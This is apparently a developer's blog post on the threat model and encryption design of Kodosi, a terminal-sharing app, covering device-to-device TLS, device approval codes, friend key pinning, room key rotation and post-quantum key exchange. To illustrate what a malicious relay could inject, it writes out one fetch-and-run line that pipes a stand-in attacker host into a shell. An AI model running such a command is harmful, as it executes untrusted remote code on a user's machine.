jk
Blog

Made a server that carries my terminals without reading them

My app lets a friend type into a terminal on my Mac, through a server I run. So I listed everything that server could do to us, then took its powers away one at a time.

Think about what scrolls past in your terminal on an ordinary day. There are API keys in your environment, code you’re paid to keep private, and now and then a password typed into the wrong prompt. Now picture a friend in another city opening that terminal from their own laptop and typing into it.

That’s what Kodosi, the app I’m building, is for. It keeps the terminals of all my computers, and the ones friends share with me, in one window. We work in them together, alongside our coding agents. Computers at home usually can’t reach each other directly, so every key my friend presses travels through a server that I run. I had to decide what that server should be able to do to us.

What a simple server would see

The easiest server to build passes the bytes along as they are. In a few seconds of a shared terminal, it would see something like this. The values are made up, but the shape is real:

friend → my Mac   cat .env
my Mac → friend   API_KEY=sk-4f9X...
friend → my Mac   git push --force

Everything the terminal shows and everything typed into it would pass through the server’s memory. It would land in its logs, if it keeps any, and in the hands of anyone who breaks in.

Reading is the smaller problem. A server that forwards key presses can also make some up. It could slip curl -s evil.example | sh between two of my friend’s key presses, and my Mac would run it as me, with everything I’m allowed to touch.

Everyone between us

So I wrote down everyone who could stand between my friend and me, and what each of them could do. The network can read, change, drop and replay traffic. My server can do the same, and so can anyone with a copy of its database, me included. The company behind the sign-in page can sign in as anyone. Then there are strangers with accounts, and the devices and people I’ve removed.

The last entry on the list is my friend, and it has the shortest answer. A friend I share a terminal with can do anything I can, because that’s what sharing a terminal means. Everyone else should get nothing.

Sealing the envelope

The first step is the familiar one. My friend’s laptop and my Mac speak TLS 1.3 to each other, the same protocol that protects your bank’s website. The server copies sealed records from one side to the other and can’t open them. I wrote no cryptography of my own. Kodosi uses rustls and AWS-LC, two well-known open-source libraries.

Friend's laptopseals each key press
My servercopies sealed records
My Macopens them and runs the shell
The encryption runs from device to device. The server in the middle passes records it can't open.

Encryption only helps if you encrypt to the right key, though. And who tells my friend’s laptop which key belongs to my Mac? The server does.

A lying server could hand out a key of its own. My friend’s laptop would then encrypt everything to the server, which would read it, seal it again for my Mac and pass it on. Neither of us would notice. This is the classic man-in-the-middle attack, and most of the design exists to stop it.

Who says this is my Mac?

Each of my devices makes its own signing key, and the key never leaves the device. It lives in the system’s keychain. The first device I signed in with became the root of my account. Every device after it needs a signature from one I already have.

Signing in isn’t enough, on purpose. The company behind the sign-in page could sign in as me whenever it liked. So a new computer shows a short code, and my other computers ask me to approve it. I choose Approve on one of them and type the code there. The two prove to each other that they saw the same code, and the old device signs the new one in.

The server sees that whole exchange, so it could try to guess the code. The code has 60 bits, and each guess costs about a million rounds of hashing. Guessing it would take around a million billion billion operations, inside the ten minutes before the code expires.

The devices also keep the server honest about who belongs to me. They sign a list of my devices and renew it every 24 hours, and every device remembers the newest list it has seen. A list may never go backwards, and a device I removed may never return. So the server can’t sneak in a device of its own, or bring back one I threw out.

Remembering a face

Friends work the same way, one level up. When I add a friend, Kodosi remembers the root of their account, a little like remembering a face. If that root ever changes, sharing with them stops until I look at it and accept the new one. They might have reinstalled everything without their recovery key, or someone might be pretending to be them.

Signal and WhatsApp show the same kind of warning when a contact’s safety number changes. An invite link carries my friend’s root with it, so I don’t depend on the server for it. A friend I add by username is different. The first time, I have to take the server’s word for who they are.

Rooms that forget the people who leave

A room is a group of people and agents with shared terminals, tasks and a conversation. Its messages and tasks are encrypted with a room key that the server never sees. The device that makes a key wraps a copy for every member’s device, using that device’s public key.

When someone leaves, a new key replaces the old one, and they get no copy. They keep what they already read, and nothing after it. Each new key also encrypts the key before it, so whoever holds the current key can read the whole history. That’s on purpose. Someone who joins a team’s room should be able to catch up.

Harvest now, decrypt later

Some of what crosses a terminal stays secret for years. Think of a private key, a client’s source code or a password that nobody ever changes. Someone could record the encrypted traffic today and keep it until a quantum computer can break the key exchange. Signal calls this “harvest now, decrypt later”, and nobody knows how long that wait will be.

So every key exchange in Kodosi runs two methods together, and an attacker has to break both. X25519 is the elliptic curve method behind much of the web today. ML-KEM-768 is designed to resist quantum computers, and NIST standardized it in 2024. I keep the old method because the new math is young. In 2022, SIKE, one of the candidates in NIST’s contest, fell to an ordinary computer in about an hour.

The one thing the server reads

On 15 October I gave the server one thing in plain text. Kodosi shows which agent in each terminal is working, waiting for your approval, done or failed. My iPhone wanted that for all my terminals, and the only way to get it was through each terminal’s encrypted connection. So it kept up to twelve of them open at once, only to read one word from each.

It also put my face on every one of those terminals. Anyone else in them saw me there, on twelve terminals I wasn’t looking at.

Now each computer sends the server the agent and the state of its terminals, and nothing else. The server checks that a status holds only those fields and refuses anything more. A terminal’s title and its text stay inside the encrypted connection. The trade is on the security page, next to everything else the server can see.

What it still can’t promise

Nobody independent has audited any of this yet, and the design document says so in its first line. The server still sees who is in which room, which device talks to which, when, and how much. It can refuse to carry traffic, and it can hold back or reorder room messages.

Room history has no forward secrecy. One member’s device keys and a copy of the stored records would reveal it. Signatures use only the new algorithm, ML-DSA-65, with no classic one beside it. And no encryption protects me from the person I share with. If my friend’s laptop is compromised, whoever controls it has my terminal too.

The list of known limits has twelve entries, and it sits next to the design. If you find a thirteenth, the security page says where to write.

Read next